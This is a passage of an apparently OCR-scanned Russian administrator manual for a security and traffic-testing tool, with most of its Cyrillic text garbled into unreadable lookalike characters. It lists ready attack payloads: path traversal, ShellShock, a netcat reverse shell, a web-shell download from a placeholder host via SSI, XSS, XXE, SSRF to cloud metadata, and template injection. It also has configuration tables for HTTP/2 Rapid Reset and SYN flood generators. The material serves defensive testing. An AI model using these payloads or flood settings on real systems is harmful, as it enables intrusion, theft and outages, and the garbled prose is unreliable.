Registry Access /?p=::1c$usersdefault\ntuser.dat
Localhost UNC /?p=localhostc$windowswin.ini
Long Path Bypass [p=tile:///1111111111111111111]/c|windowswin.ini

— RCE Advanced, onucanue npuenero B Taom. 22

Nmvuranus atak Ha ys3Bumoctu tuna ShellShock, nabsexknuu PHP/JS, u 06xon duibTpoB mist

Ta6a. 22 — Ilapametpsnl « RCE Advanced»

HaszBanmue

3HaueHune

ShellShock Exploit

/?7p=() { :; }; echo ; /bin/bash -c 'cat /etc/passwd'

PHP Short Tag

/?2p=<?=$_POST[0]?>

Command Concatenation

/?p=; cat /et'c/pa's's'wd

IP-based Execution

/?p=cmd=127.0.0.1 && Is /etc

String Reversal

/?p=$(printf 'hsab/nib/ e- 4321 1.0.0.721 cn'|rev)

Variable Obfuscation

/?p=cat$IFS$9$ {PWD[a-z]*}e*c$ {PWDJa-
z]*}p?ss??

— GraphQL Advanced, onucanue npuseneHo B Tabn. 23

ABTOMATHYECKH OTIPAaBJIACT HCCTAaHAAPTHBIC, FJIy6OKO BJIOKCHHBIC U MYTUPOBAHHBIC 3alIPOCHI

GraphQL mist BeIsIBIIEHUS TTPOOETIOB B BaTUAAIIMU U KOHTPOJIE THIIOB.

Taba. 23 — [Hapametpsl «GraphQL Advanced»

HasBanmue

3HaueHmne

Basic Schema Extraction

/?query={ _schema { types { name } } }

Deep Type Introspection

/?query={__schema{queryType{name}mutationTyp
e{name}subscriptionType {name}types{...FullType}

directives {name description locations
args{...InputValue} } } } fragment FullType on
__Type{kind name description
fields(includeDeprecated:true) {name description

args{...InputValue}type{...TypeRef}isDeprecated
deprecationReason}inputFields{...InputValue}interfa
ces{...TypeRef}enumValues(includeDeprecated:true)
{name description isDeprecated
deprecationReason}possibleTypes{... TypeRef} } frag
ment InputValue on  InputValue{name description
type{... TypeRef}defaultValue} fragment TypeRef on
__ Type{kind name ofType{kind name ofType{kind
name ofType{kind name ofType{kind name
ofType{kind name ofType{kind name ofType{kind

namej i}y

— XSS Advanced, onucanue npuBenaeHo B Tabm. 24

IIpoBepka Ha BO3MOXKHOCTH BHeApeHHUs JavaScript-kona B BeO-cTpanuily. Mcmonb3yroTcs

payload'sr nmst DOM-based, reflected u stored XSS.

U3m.
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Tabu. 24 — Ilapamerpsl «XSS Advanced»

HazBanmue

3HaueHnmne

Body Onload

/?7q=<body onload=alert('test1')>

Mouseover Event

/?7q=<b onmouseover=alert("Wufff!")>click me!</b>

Image Error

/?q=<img/src=x/onerror=xxx

Wheel Event

/?q="onwheel=alert(111)

Prototype Pollution

/?7q=? _proto_ [innerHTML ]=<img/src/onerror%?3da
lert(1)>

Closure Base Path

/?7q=?__proto_ [CLOSURE BASE PATH]=data:,al
ert(1)//

Vue.js Exploit /?q=__proto__[v-if]=_c.export
constructor(‘alert(1)")()

SVG MIME Abuse /?7q=sometext<svg
onload=alert(document.domain)>?mimeType=text/ht
ml

SVG Short /?7q="><svg/onload=alertxss>

Exception Handler

/?7q="1)} catch(e){if(!this.x)alert(document.domain),th
is.x=1}//

Self XSS

17q="));if(!self.x)self.x=!alert(document.domain) } cat
ch(e){}//

Image Error 2

/?7q=<img src=x onerror=alert(document.domain)>/all

JavaScript Pseudo

/?q=javascript:setlnterval(‘ale'+'rt(document.domain)'

Map Confirm

/?q="0Onclick="([1].map(confirm))

Base64 Image

/?2q=<img\nsrc=data:image/gif;base64,ROIGODIhAQ
ABAAD/ACWAAAAAAQABAAACADs=\nonload
=alert(1)>

Autofocus Bypass

/?q=\\"autofocus=alert(1)//

External Entity

/?2a=<!ENTITY%20pay%20SYSTEM%20"http://exa
mple.com/payload.xml">

Doctype Short

/?a=<!DOCTYPE :. SYTEM "http://"

Complex Doctype

/?a=<!DOCTYPE :_- : SYTEM "http://"

— SSRF Advanced,

onucaHue npuseeHo B Tabn. 25

TecTtupyer BO3MOKHOCTBH 3acTaBUTh cepBep nenatb HTTP-3ampockl OoT cBOero MMeHu K

BHYTPEHHUM cepBucaM, metadata API win BHEIIHUM ajpecam.

Tabu. 25— ITapamerpsl «SSRF Advanced»

HasBanue 3HayeHue
Cloud Metadata /?q=https://somehost/metadata/instance
Telnet IPv4 /?q=telnet://2852039166/
IPv6 Transition /?q=http://[::ftff:a%fe:a%fe]/
AWS Metadata /?q=http://[0:0:0:0:0:ffff:169.254.169.254]/1atest/met
a-data/
OpenStack Metadata /?q=http://169.254.169.254/openstack
Octal Encoding /?q=http://0251.00376.000251.0000376/
Shortened IP /?7q=http://0251.254.169.254
Localhost /?7q=http://0.0.0.0:80
Jluem
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Gopher Protocol /?q=gopher://0.0.0.0:443

SSH Port /?q=http://0.0.0.0:22

FTP IPv4 /?7q=ftp://3232235521/

Short Port /?q=http://0:8080/

Minimal URL /?q=http://0/

Link-Local /?7q=http://169.254.169.254

IMAP /?7q=imap://2130706433

Wildcard IPv6 /?2q=http://[::]

Compressed IPv6 /?q=http://0000::1

Unicode Gopher /?q=gopher://%EF%BD%9A%EF%BD%9A%EF%B
D%9A

TFTP Unicode 17q=tftp://%F0%9D%IF %8 E%F0%9D%9F %8E%F0
%9D%9F%8E

— SSI/SSTI Advanced, onucanue npusenaeHo B Tabn. 26

ATtaku Ha mabionusaropsl (Jinja2, Freemarker u np.) u SSI-uncrpyxiuu. Lenb — BBINONTHUTE

KOMaHIbl UJIX IIPOYUTATDH (I)aﬁHLI uepe3 H_Ia6J'IOHHy'IO JIOTUKY.

Ta6u. 26 — [lapametrpsi «SSI/SSTI Advanced»

HaszBanue 3HayeHue

SSI Command /?7q=<!--#exec cmd="wget http://some_host/shell.txt |
rename shell.txt shell.php"-->

SSI List Dir /?7q=<!--#exec cmd="Is" -->

SSI Windows Dir /?7q=<!--#exec cmd="dir" -->

Java Resource /?7q=${class.getResource("./test/test.res").getContent(
)}

Twig RCE /?7q={{_self.env.registerUndefinedFilterCallback("ex
ec")}} {{ self.env.getFilter("id")}}

Freemarker RCE /?q=<#assign ex =
"freemarker.template.utility. Execute" ?new()>$ {
eX(HidH)}

Python Attribute /?q={{requestfattr("__class__")}}

k) IlapameTpsl ceccuu - mapameTpsl, Kacaroluecs YIpaBIeHUs CECCUSIMU B paMKax

TEKYIIETo IJIaruHa, ONMMUCAaHUE KOTOPBIX yKa3aHbl B Tadm. 27

Ta6a. 27 — IlapameTpsl «Ceccum»

Haspanue Onucanune 3HauyeHue
Oomiee MaxkcumanbHOe KOTHYECTBO OJHOBPEMEHHO | 3afaifTe YUCIOBOE 3HAUCHHE
KOJIN4ECTBO AKTHBHBIX CECCHH, KOTOpbIE MOIYT OBITh
ceccuit YCTAHOBJICHBI B paMKax IIJIarHHa.

TaiiM-ayT Bpems B cekyHnax, B TeueHHE KOTOPOro | 3amaiTe YHCIIOBOE 3HAYCHHE
IIOBTOPHOI'O ITepecer-CT Oyzmer IBITaThCA
TIOKITFOUEHS BOCCTAaHOBHTh COEAMHEHHE IIOCIEe €ro

paspeiBa. Ecmu coeamHenue He Oyzner

BOCCTAHOBIEHO B YyKa3aHHbIM Mepuof,

ceccust OyeT 3aKphbITa.

U3m.
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[Togkniouennii B
CeKyHay

MakcuMaabHOE KOJHYECTBO HOBBIX CECCHIA,
KOTOPBIE MOTYT OBITh YCTAHOBIICHBI 33 OJTHY
CEKYHILY.

3amaiite YUCIOBOE 3HAUYEHNE

Makc. cTpumMoOB
(Ha ceccuto)

MakcuManbHOE  KOJHMYECTBO  IIOTOKOB
JTAaHHBIX, KOTOPBIE MOTYT OBITh aKTHBHBI B
OJTHOH CECCHHU.

3agaiiTe YUCIOBOE 3HAUEHHE

Ilapamerp ~ AOCTYHEH  TOJBKO npu

BrioueHuu H2 B «Ilapamerpax HTTPy.
Tymbnep  «be3 | MakcumanbHass TPOU3BOJUTENHLHOCTE 0€3 | BKIIIOYNTH/BBIKIIOYHTH
OTPaHUYEHUS» OTPaHWYEHUM Ha KOJ-BO OTIPABIIAEMBIX

3aMpoCOB B CEKYHIY
3ampocoB B | MakcuManbHOE  KOJIMYECTBO  3alpOCOB, | 3ajaiiTe YMCIOBOE 3HAUCHUE
CeKyHJY (Ha | koTopple MoOryT ObITh 00paboTaHbl B
Cecculo) CEKYHJY JJIsl OJIHOM ceccuu/cTpruMa.

WuTepBan Mexay
OTIPaBKOH
3aMpocoB

Onmus Mo3BOJSIET HACTPOUTH  3aAEPXKKY
MEXIy OTIPaBKOM 3aJaHHOTO  KOJ-Ba
3aIIpOCOB B CEKYHIY.

3ajaiiTe 4MCI0BOE 3HAUCHUE

3) HJ'II/ITCJ'IBHOCTB - IapaMeTp, OTBEYAIONUi 3a BpCMms pa6OTH IJ1ariHa, OnMcaHuc

KOTOpOTo ykazaHo B Tabn. 28.

Tada. 28 — [Tapamerp «I1uTeIBHOCTD)

HasBanmue Onucanmne 3HaueHune
JlmuTenbHOCTH Bpewms rerepanun Tpaduka 3ajaiiTe YMCIOBOE 3HaUCHUE W BhIOepeTe
reHepanuu BENUYMHY (B CEKyHIaX, MHHYTax WU

yacax)

5.3.1.3 HTTP/2 Rapid Reset

HTTP/2 Rapid Reset — rutarus st TeHepaluy pa3iIn4yHOro BeO-Tpaduka ¢ MEXaHHM3MOM B

npotokosne HTTP/2, koTopslil mo3BosisieT ObICTpO cOpackiBaTh COSAUHEHHMS.

JIaHHBIN IUIArMH COCTOUT U3 CIEAYIOUIMX TapaMeTPOB:

a) VcrouHuku — BeIOpaHHBIN areHT, HHTEp(deiic, ¢ KOTOPOTo areHT 0y1eT OTIPABIATH

Y IPUHUMATD TpaQUK U 00BEKT OTHPABUTEINB (CM. 3arojloBok 5.2.2.1) 1 reHepauuu Tpaduka;

0) Llenu — BEIOpaHHBINM 0OBEKT MOMyUYaTENb (CM. 3aroJIOBOK 5.2.2.3);

B) IP 3aronoBok (L3) — mapamerpsl HacTpoek IP 3aronoskoB Ha yposHe L3 TPC/IP,

olMcaHue KOTOPBIX yKa3aHbl B Ta0n. 29;

Ta6a. 29 — IHapametpsl «IP 3aronosox (L3)»

Ha3panue Onucanne 3HayeHune
TTL (Time to | Iapamerp TTL ompenenser mMakcuMambHOe | SaJaiTe IUCIIOBOC 3Ha1CHUC (1o
Live) KOIMMECTBO  MapIIpyTH3aTOpOB (xormoB), yMomuanmio, 3Hauemnme TTL  smisercs:
4yepe3 KOTOpbIE MOJXKET IPOWTU IaKeT
JIaHHBIX, TIPEX/ie YeM OH OyJeT OTOpOIIeH. «128y)
Jluecm
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ToS (Type of
Service)

DSCP — a310 mnosne B 3aronoBke IP-nakera,
KOTOPOC HCIOJB3YeTCsl sl ONpEACICHUS

npuopuTeTa 1 00paboTku Tpaduka

3angaiite YUCJIOBOE 3HAUYECHUE

ymouryanuto, 3Hauenne DSCP siBnsiercst: «7»)

(o

ECN — 570 MexaHU3M, KOTOPBIH MO3BOISET

MapLpyTH3aTOpaM yBEAOMIIATH  y3IIbI
meperpyskax B ceTu 0e3 copoca ImaKkeToB.

(o)

BeibepeTe 3HaUCHHE U3 CIIHCKA:
00 (Non-ECT)

01 (ECT(1))

10 (ECT(0))

11 (CE (Congestion Experienced))

r) TCP 3aronoBok (L4) — mapamerpst HacTpoek IP 3aronoskos Ha yposue L4 TPC/IP,

OIMCcaHue KOTOPbIX yka3aHbl B Tabn. 30;

Ta6a. 30 — ITapamerpsl «TCP 3aronosoxk (L4)»

Ha3Banme Onucanue 3HaveHnne
Max. Segment Size | MakcumanbpHBIH pa3Mep CerMeHTa | 3agaidiTe YUCIIOBOe 3HaueHHe (10
(MaxcumanpHbii pasMep oIpenenseT MAaKCHUMAaJIbHBIM | YMOJYaHHUIO, 3HayeHue  Max.
CerMeHTA)

00bEM JaHHBIX, KOTOPBIA MOXKET
ObITh mepean B ogHoM TCP-

CCI'MCHTC

Segment Size siBisiercst: «1460»)

WS (IP Options)

Mapamerp WS (Window Scale)
OTHOCHTCSI K MEXaHU3MY
MaciitabupoBanust okHa TCP,
KOTOPBI TO3BOJACT YBEIHYUTH
pasMep OKHa [Uisl yIpaBlCHUS
MOTOKOM JaHHBIX.

3amaiiTe YHCIOBOE 3HA4YCHHE (ITO
YMOJTYaHHIO, 3Ha4YCHUE WS
ABIIACTCA: «64»)

Window Size (Pa3mep okHa)

Pasmep oxna TCP ompenenser
00bEM [IaHHBIX, KOTOPBIA MOXET
OBbITh OTHpaBlieH 0e3 OXXUIaHHs

3anaiiTe ymciIoBOe 3Ha4YeHHE (TI0
yMoiuaHuioo, 3HadeHue Window
Size siBnsiercs: «256»)

MOATBEPIKACHHUA OT IMOJTyUaTCIIsd.

n) Ilapamerpst HTTP - napamerpst Hactpoexk HTTP 3aronoBkoB Ha ypoHe L6-L7

TPC/IP, onucanue KOTopbIX yka3zaHo B Tabm. 31;

Ta6a. 31 — Ilapametps! «Ilapamerpsr HTTP»

KIMCHTCKOE TpPHUIIOKEHHE (Hampumep,

HaszBanue Onucanue 3nauyenue
HTTPs VYka3bIBaer, WCIIONb3YETCS mu | la / Her (ykaxure TeKyllee COCTOSIHUE
3alMIICHHBI  MPOTOKOJN  Mepelayd | mepekirodaTeneM TymOiepa)
nauaeix HTTPS
Bepcus TLS Bepcus TLS (Transport Layer Security) | Beioepere 3nauenue TLS v1.2 wmm TLS v1.3
ompenenseT TPOTOKON IIH(PPOBAHUS,
WCTIONB3YEMBI Ui oDOecreueHus
0e30macHOl Tepenayn JaHHBIX MEXITY
KITUEHTOM u cepBepoM
(ITapameTp mocTymeH, eciu mapamerp
HTTPs Bkito4eH)
Bepcus VYkaseiBaer Bepcuto mpotokona HTTP, | Beibepere snauenne HTTP 1.1 wim HTTP 2.0
HTTP HCIIOJIB3YEMYIO JUIS IIEpEIaul JaHHBIX.
User-Agent 3aroyioBoK, KOTOpBIN uaeHTHHUUpyeT | BBeaure 3HaueHHe 3arojoBKa:

U3m.
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Opay3ep) U ONEPAMOHHYI0 CHCTEMY, C
KOTOPO# OCYILECTBISIETCS 3aMpoC.

® [0 yMOJIYAHHIO, 3HAYCHHEM 3aroBOJIKA
spisietest: «Mozilla/5.0 (Windows NT
10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/133.0.0.0
Safari/537.36»

${userAgent} - OGecneunBaer porauuioo User-
Agent: amg Kak#oro 3ampoca  BeIOMpaeTcs
CITyqaifHBIN BaJHIHBINH BapHaHT U3 CIICKA B BeO-
uHTEpdeiice

IIyTs Vka3blBaeT HyTh K 3ampaninBaeMoMy | Beaure 3HaueHwe myTH (IO YMOJYAHUIO,
pecypcy Ha cepBepe. 310 yacth URL, | 3HaueHue myTu sBIsSETCS KOpHEBas AUPEKTOPUS
KOTOpast CJIeyeT 3a IOMCHHBIM UMEHEM. | cepBepa: «/»)
HTTP meton | Meton, wucnonb3yeMelii aisi 3ampoca | BeiOepere n3 ciienyromiero crimcka:
pecypca Ha cepBepe. e GET
e POST
e PUT
e PATCH
e DELETE
Query [Tapamertprl, nepenaBaembie B URL | BBenure 3HaueHue mociie HaXaTus KHOIKHU
apaMeTpsl nocJie 3Haka Bomnpoca (?) «/106aBUTH TApaMETPBI»:
e Bsenure cBO€ 3HaUCHUE
o  ${str(length)} - dopmupyeT
MPOU3BOJIbHYI0 KOMOWHALIMIO CHMBOJIOB
3aganHoi auHbl (puMmep: ${str(16)})
e ${strMinMax(min_length,max _length)}
- dopmupyer [IPOU3BOJIBHY IO
KOMOMHAIIMIO CHUMBOJIOB C JUIMHOH B
yKa3aHHBIX npeaenax (mpumep:
${strMinMax(16,24)})
o  ${hex(length)} - dopmupyer
MIPOU3BOJIBHYI0 KOMOWHAIIMIO CHMBOJIOB
3aJaHHO JUIMHBI B IECTHAIATEPHIHOM
dopmarte (mpumep: ${hex(16)})
e ${hexMinMax(min_length,max length)}
- Dopmupyer IIPOU3BOJIBHY IO
KOMOHMHAIIHIO CHMBOJIOB B
IECTHAALATEPUIHOM ¢dopmare B
yKa3aHHBIX npeaenax (mpumep:
${hexMinMax(16,24)})
e ${email} - DopmupyeT BanuaHbIi email
CO CJTyJalHBIM MMEHEM II0JIb30BaTelsl U
JIOMEHOM
o ${login} - ®opmupyeT BaJUAHBIH JOTHH
TIOJIb30BaTeIs
o ${password}- Dopmupyer BaIHIHBII
MapOJIb TIOJIE30BATENS
3aroyioBku JlommoTHUTEIbHEIE MeTaJlaHHble, | BBequTe 3HaueHWE TmOCie HaXaTHUs KHOIKHU
ormpaBnsiemele  BMecte ¢ HTTP- | «/lo6aBuTh mapaMeTpb»:
3aIpoCOM. e Baeaure cBO€ 3HaUYEHUE
o  ${str(length)} - dopmupyeT
MPOM3BOJIbHYI0 KOMOWHAIIMIO CHMBOJIOB
3aaHHOM JyuHBI (mpuMmep: ${str(16)})
e ${strMinMax(min_length,max_length)}
- dopmupyer MIPOU3BOJIBHYIO
KOMOMHAIIMIO CHMBOJIOB C JUIMHOW B
Jluecm
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${strMinMax(16,24)})

dopmare (mpumep: ${hex(16)})

KOM6HHaHI/IIO CHMBOJIOB

$ {hexMinMax(16,24)})

JIOMEHOM

IIOJIB30BATCJIA

apoJjib MOJIb30BaTEIIA

YKA3aHHBIX npezenax (mpumep:
o  ${hex(length)} - dopmupyer
[POU3BOJILHYI0 KOMOUWHAIMIO CHMBOJIOB

3aJIaHHOM JJIMHBI B meCTHAAUATCPUIHOM

o ${hexMinMax(min_length,max length)}
- dopmupyer MPOU3BOJILHYIO

HIeCTHaAATEPUUHOM ¢dopmarte
YKa3aHHBIX npeaenax (mpumep:

o ${email} - ®opmupyer BamuaHBIH email
CO CIIyYaiHBIM MMEHEM II0JIb30BaTeIsl U

o ${login} - ®opmupyeT BaTHAHBII JOTHH

e ${password}- @opmupyer BaIHIHBII

B
B

e) IlapameTpsl ceccun - mapaMeTphbl, Kacaroluecs yIPaBJICHUs] CECCUIMH B PaAMKax

TEKYILICTO IIJIarnHa, ONMMCAHUC KOTOPLIX YKAa3aHO B Tabu1. 32,

Taba. 32 — Ilapamerpsl «IlapameTpsl ceccum»

Haspanue Onucanne 3naveHue
Obmee MaxkcumanbHO€ KOTHYECTBO OJHOBPEMEHHO | 3ajjaiiTe YUCIOBOE 3HAUCHHE
KOJINYECTBO AKTHBHBIX CECCHH, KOTOpbIE MOTYT OBITh
ceccuit YCTaHOBJIEHBI B paMKaX IUIarvHa.

Taiim-ayT Bpemsi B cexyHIax, B TE€4EHHE KOTOPOro | 3ajalTe YMCIOBOE 3HAUECHUE
MIOBTOPHOIO ITepecetr-CT Oynet MBITAThCA
MOJKJIFOUEHUS BOCCTAHOBUTb COEAMHEHHE TIIOCIE €ro

paspeiBa. Ecnmu coeamHenue He Oyzer
BOCCTAHOBJICHO B yKa3aHHBIA MEPHO/I,
ceccust OyieT 3aKkphITa.

TToakimroueHuii B
CEKYHIY

MakcrmanbHOe KOJIMIECTBO HOBBIX CECCHM, | 3alaiiTte YuCIOBOE 3HAYCHHE
KOTOpBIE MOTYT OBITh YCTAaHOBJICHBI 32 OJIHY
CEeKYHI.

Makc. ctpumoB
(Ha ceccuio)

MaxkcuManbHOe ~ KOJMYECTBO  IOTOKOB | 3amaiiTe YHCIOBOE 3HAUCHUE
JaHHBIX, KOTOPLIC MOTYT OBITh AKTHUBHBI B
OJIHO ceccuu.

[Tapametp JIOCTYTIEH TOJILKO pu
BrimoueHnu H2 B «Ilapamerpax HTTP».

Tymbnep  «be3

MaxkcuMmainpHas MMPpOU3BOAUTCIIBHOCTD 6e3 | BKIFOYHTE/BBIKIIIOUUTH

OTPaHUYCHUS OTPaHWYCHUH HA KOJ-BO OTIPABISIEMBIX
3aMpocoB B CEKYHAY
3anpocos B | MakcuMmaibHOE  KOJMYECTBO  3aIpocoB, | 3ajaiTe 4MCIOBOE 3HAUCHHE
CEeKYHJly (Ha | xoTOpele MOTYT OBITH 00paboTaHbl B
Ceccuio) CEKYH/Iy JJIsl OTHOM CecCUu/CTpuMa.

WuTepBan mexny
OTIIPABKOMH
3aIpOCOB

OHHI/IH MO3BOJIAICT HACTPOUTH 3aJACPIKKY 3a11a171Te YHUCJIOBOC 3HAYCHUEC
MCKIAY OTHpaBKOﬁ 3aJaHHOIr'o  KOJI-Ba
3alIpOCOB B CCKYHAY.

Pykosodcmeo admHuucmpamopa 0ns 10 Nepeceem-CT

U3m.

Jlucm

Ne dokym. lModnucs | dama

sepcuu 1.4

Jlucm
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K) JITUTEeNbHOCTD - MapamMeTp, OTBEUAIOUUil 32 BpeMsl pabOoThHI TUIaruHa, ONMCaHue

KOTOpOro yka3aHo B Taoim. 33.

Ta6a. 33 — [lapameTp «ITUTEILHOCTDY

Ha3Banue Onucanue 3HaueHne
JnmuTeapHOCTh Bpewmst renepaiun Tpaduka 3anaiiTe YMCIIOBOE 3HAUCHHE M BBIOCpETE
TeHepaIuu BEeIMYUHY (B CEKyHIAX, MHUHYTaX WJIH

yacax)

5.3.1.4 SYN Flood

SYN Flood — mnarun 151 renepaiuu tpaduka, B KOTOpOM OTHPaBIsSeTCs 0OJIBIIOE KOJTUYECTBO

3anpocoB Ha ycraHoBiieHue TCP-coenunenus (SYN-nakeTs1) 0e3 3aBepIeHuUs Mpoiiecca.

JIaHHBIN IUIArMH COCTOUT U3 CIEAYIOUIUX TapaMeTPOB:

a) VcrouHuku — BeIOpaHHBIN areHT, HUHTEP(dElic, ¢ KOTOPOro areHT 0y1eT OTIPABIAThH

U TpUHUMATh TpahuK H OOBEKT OTMpaBHTENb (CM. 3aroyioBok 5.2.2.1 wmmu 5.2.2.2) musa

reHepanuu Tpaduka;

0) Llemu — BEIOpaHHBIN 0OBEKT MOTyUYaTENb (CM. 3aroJIOBOK 5.2.2.3);

B) [P 3aronoBok (L3) — mapametpsl HacTpoek [P 3aronoskoB Ha yposue L3 TPC/IP,

OIMCcaHMue KOTOPbIX yKa3aHbl B Tabn. 34;

Taba. 34 — IHapametpsl «IP 3aronosox (L3)»

HaszBanmue

Onucanmne

3HaueHnune

TTL (Time to
Live)

[Mapamerp TTL omnpexnensier MakcuMalbHOE
KOJIMYECTBO ~ MapIIPyTH3aTOPOB  (XOMOB),
yepe3 KOTOpbIE MOXET MPOUTH MakeT

JITAaHHBIX, IPEXKIE YeM OH OyAeT OTOpOIIeH.

3anaiite YUCIIOBOE 3HAUEHHE (o
yMoiyaHuioo, 3HaueHue TTL sBusercs:

«128»)

ToS (Type of

DSCP — 310 moje B 3arojioBke IP-makera,

3anaiite YHCIIOBOE 3Ha4YeHUE (o

Service) KOTOpOE HCIOJNB3yeTCs ISl ONpeAesieHHs | ymordaHwuio, 3HaueHue DSCP sBnsercs: «7»)
npuopuTeTa 1 00paboTkH Tpaduka
ECN — »T0 MexaHHu3M, KOTOpBIN o3BosieT | Bribepere 3HAUCHNE U3 CIUCKA:
MapIIpyTH3aTOpaM  YBELOMIATH  y3Ibl O | 00 (Non-ECT)
neperpys3kax B ceTu 6e3 coOpoca ImakeTos. 01 (ECT(1))
10 (ECT(0))
11 (CE (Congestion Experienced))
Cry9aifHBIH YHUKaIbHBIH ~ HISGHTH(HUKATOp  TAKeTa, | BKIFOYNTH/BBIKIIOUUATE TyMOIEp
ID BBIOpaHHBIH ~ CilydaiiHBIM  oOpazoMm s

pasnudeHust (parMeHTOB OJHOTO U TOTO JKe
IP-makera

3nauenne ID

UncnoBoil MIEHTU(PHUKATOP, NPHUCBOCHHBIH
KaXXIOMy IP-naketry s ero
WICHTU(QHUKAIMKA TpH (PparMCHTAIlMA H
cOopke

[Mapamerp gocTymen, ecnu — mapameTp
«Cryuaitapiii IDy» BBIKITIOUEH

3anaiite YUCJIOBOE 3HAUECHUE (o
yMOJYaHUI, 3HaueHue «3HaueHue I[D»
sBrsieTcs: «0-65535)

U3m.

Jlucm

Ne dokym.

lModnucs |dama

Pykosodcmeo admHuucmpamopa 0ns 10 Nepeceem-CT
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r) TCP 3aronosok (L4) — mapamerpsl HacTpoek IP 3aronoskoB Ha yposue L4 TPC/IP,

OTMCaHue KOTOPBIX yKka3aHbl B Tabm. 35;

Tab6a. 35— Iapametrpsol «TCP 3arosoBok (L4)»

Ha3zpaHnue Onucanune 3HaueHue
Max. Segment Size | MakcumanbHbIit pasmep cermenTa | 3ajaiiTe umcioBoe 3HaueHue (IO
(MaxcumanbHbii PasMep | onpenenser MaKCHUMaNbHBIA | yMONYAHHIO, 3HAaueHHe  Max.
CETMEHTa)

00beM [aHHBIX, KOTOPBIA MOXKET
ObITh Tepenan B omgHoM TCP-

CCIMCHTC

Segment Size sBigercs: «1460»)

WS (IP Options)

[Mapamerp WS (Window Scale)
OTHOCHTCS K MEXaHU3MY
MacmtabupoBanust okHa TCP,
KOTOpBIH IO3BOJISIET  YBEJIUYHUTH
pasMep OKHa Al YIpaBICHUS
MTOTOKOM JaHHBIX.

3amaiiTe YHucIOBOE 3Ha4YeHHE (ITO
YMOJTYaHHIO, 3HAYCHUE WS
SIBISIETCS: «64%)

Window Size (Pa3mep oxHa)

Pasmep okna TCP omnpeapenser
00BEM TAHHBIX, KOTOPBIH MOXKET
OBITh OTIpaBiIeH 0e3 OXHUOAHUA
TTOITBEPKICHUS OT MMOIydaTeIs.

3amaiiTe YHCIOBOE 3Ha4YeHHE (ITO
yMoJuaHuoo, 3HadueHHe Window
Size sBisieTcs: «256»)

Crnyugaiinsiii Sequence Number

CnyuaifHoe 4HCIIO, UCIOJIB3YyEMOE
JJIs WHUIHATIU3aluu
MIOCNIEI0BATENIbHOCTY HOMEPOB B
MIPOTOKOJIAX CBSI3M  (Hampumep,
TCP)

BrTIOYHTE/BEIKITIOUUTH TyMOIIEp

3nagyenne Sequence Number

Tekyuiee yucio B
MOCJIEIOBATEIEHOCTH,
yKa3bIBaIoIIee MOPSI0K JaHHBIX B
HOTOKE Mepeaayn

ITapamerp nocrtyneH, eciu
napametp «CiydaiiHblil Sequence
Number» BbIKIIIOUEH

3anaiiTe 4mMciIoBOe 3Ha4YeHHE (TI0
YMOJUYaHHIO, 3HaueHHe Sequence
Number SIBIISICTCS: «0-
4294967295%)

,[[) HapaMeprl CKOPOCTH — ITapaMeTp, OTBEYAIOIIUM 3a CKOpPOCTDb NIepCaavuu IakeToB,

oIMcaHue KOTOporo ykaszaHo B Tabin. 36;

Tabu. 36 — Ilapamerp «CkopocTb»

Ha3panue Onucanne 3navenue
Tymbnep  «be3 | MakcumanbsHas MPOU3BOIUTENBHOCTh 0€3 | BKIFOUNTH/BBIKIIOYHTE
OTPAHUYCHUS» OTPaHMYEHUH Ha KOJ-BO OTIPABIIEMBIX

3aIpOCOB B CEKYHIY
[Taketos B | Kakoe  kommuectBo  makeroB  Oyner | 3amaiiTe 4MCIOBOE 3HAYCHHUE
CEKyHJY OTIIPABIIEHO B OJHY CEKYH]IY
Wurepan mexay | Onmusi TO3BOJSET HACTPOUTH 3aACPXKKy | 3amaiiTe YUCIIOBOE 3HAUCHUE
OTIPaBKOMH MEXAYy OTIPaBKOM 3aJaHHOIO  KOJI-Ba
3a1poCoOB 3aIpOCOB B CEKYHAY.

a) JIIMTEeTBbHOCTH - TIapamMeTp, OTBEUAIOIINNA 3a BpeMs paboThI IMJIaruHa, OMHCAaHUE

KOTOpOro ykaszano B Tabn. 37.

U3m.

Jlucm

Ne dokym.

lModnuck

[ama

Pykosodcmeo admHuucmpamopa 0ns 10 Nepeceem-CT
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Tabua. 37 — Ilapamerp «lIuTEIBHOCTBY»

HazBanmue Onucanmne 3HaueHnmne
JITATEeIbHOCTD Bpewmst renepanun tpadurka 3agaiiTe YUCIIOBOE 3HAYUCHHWE W BBHIOEpETE
TeHepannu BEeIMYUHY (B CEKyHIAX, MUHYyTaxX WIIH

gacax)

5.3.1.5 SYN/ACK Flood

SYN/ACK Flood — mmarun ans reHepauuu Tpaduka, KOTOPBIH OTIpaBisieT OONbIIoe

konudyecTBO TmakeToB SYN-ACK Ha menb, 3actaBisis ee oOpabaThiBaTh MHOYKECTBO

COETUHEHUH.

JIaHHBIN IUIArMH COCTOUT U3 CIEAYIOUIUX TapaMeTPOB:

a) VcrouHuku — BeIOpaHHBIN areHT, HUHTEP(dElic, ¢ KOTOPOro areHT 0y1eT OTIPABIAThH

U TpUHUMATh TpahuK H OOBEKT OTMpaBHTENb (CM. 3aroyioBok 5.2.2.1 wmmu 5.2.2.2) musa

reHepanuu Tpaduka;

0) Llemu — BEIOpaHHBIN 0OBEKT MOTyUYaTENb (CM. 3aroJIOBOK 5.2.2.3);

B) [P 3aronoBok (L3) — mapametpsl HacTpoek [P 3aronoskoB Ha yposue L3 TPC/IP,

OIMcaHue KOTOPbIX yKa3aHbl B Tabn. 38;

Taoa. 38 — [Hapametpsl «IP 3aronosoxk (L3)»

HaszBanmue

Onucanmne

3HaueHnune

TTL (Time to
Live)

[Mapamerp TTL omnpexnensier MakcuMalbHOE
KOJIMYECTBO ~ MapIIPyTH3aTOPOB  (XOMOB),
yepe3 KOTOpbIE MOXET MPOUTH MakeT

JITAaHHBIX, IPEXKIE YeM OH OyAeT OTOpOIIeH.

3anaiite YUCIIOBOE 3HAUEHHE (o
yMoiyaHuioo, 3HaueHue TTL sBusercs:

«128»)

ToS (Type of

DSCP — 310 moje B 3arojioBke IP-makera,

3anaiite YHCIIOBOE 3Ha4YeHUE (o

Service) KOTOpOE HCIOJNB3yeTCs ISl ONpeAesieHHs | ymordaHwuio, 3HaueHue DSCP sBnsercs: «7»)
npuopuTeTa 1 00paboTku Tpaduka
ECN — »T0 MexaHHu3M, KOTOpBIN o3BosieT | Bribepere 3HAUCHNE U3 CIUCKA:
MapILIpyTH3aTOpaM  YBELOMIATH  y3Ibl O | 00 (Non-ECT)
neperpyskax B ceTr 6e3 coOpoca ImakeToB. 01 (ECT(1))
10 (ECT(0))
11 (CE (Congestion Experienced))
